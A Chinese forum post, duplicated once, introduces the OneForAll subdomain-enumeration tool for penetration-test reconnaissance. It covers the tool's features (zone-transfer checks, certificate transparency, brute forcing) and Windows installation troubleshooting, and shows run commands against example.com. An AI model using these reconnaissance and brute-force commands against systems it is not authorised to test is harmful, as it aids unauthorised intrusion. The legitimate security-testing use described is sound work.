 OneForAll 功能特性[list=1]利用证书透明度收集子域常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)利用网上爬虫档案收集子域利用dns数据集收集子域利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)利用威胁情报平台数据收集子域利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协[size=18]程,DNS解析和http请求使用异步多协程。[/size]后续计划 各模块支持优化和完善 子域监控(标记每次新发现的子域) 子域收集爬虫实现(包括从JS等静态资源文件中收集子域) 操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)
安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
 
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装




下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
 
cd oneforall/
python oneforall.py --help





使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破
  查看全部
 
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
  • 不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证  fuzz以及信息拓展等功能。
  • 不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。
  • 缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。
  • 效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。
为了解决以上痛点,此项目应用而生, oneforall是一款集百家之长,功能强大的全面快速子域收集终极神器。
1.png
 OneForAll 功能特性
  • [list=1]
  • 利用证书透明度收集子域
  • 常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)
  • 利用网上爬虫档案收集子域
  • 利用dns数据集收集子域
  • 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)
  • 利用威胁情报平台数据收集子域
  • 利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
  • 处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。
  • 速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协
  • [size=18]程,DNS解析和http请求使用异步多协程。[/size]
后续计划
  •  各模块支持优化和完善
  •  子域监控(标记每次新发现的子域)
  •  子域收集爬虫实现(包括从JS等静态资源文件中收集子域)
  •  操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)

安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
 
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装
2.png

下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
 
cd oneforall/
python oneforall.py --help

3.png

使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破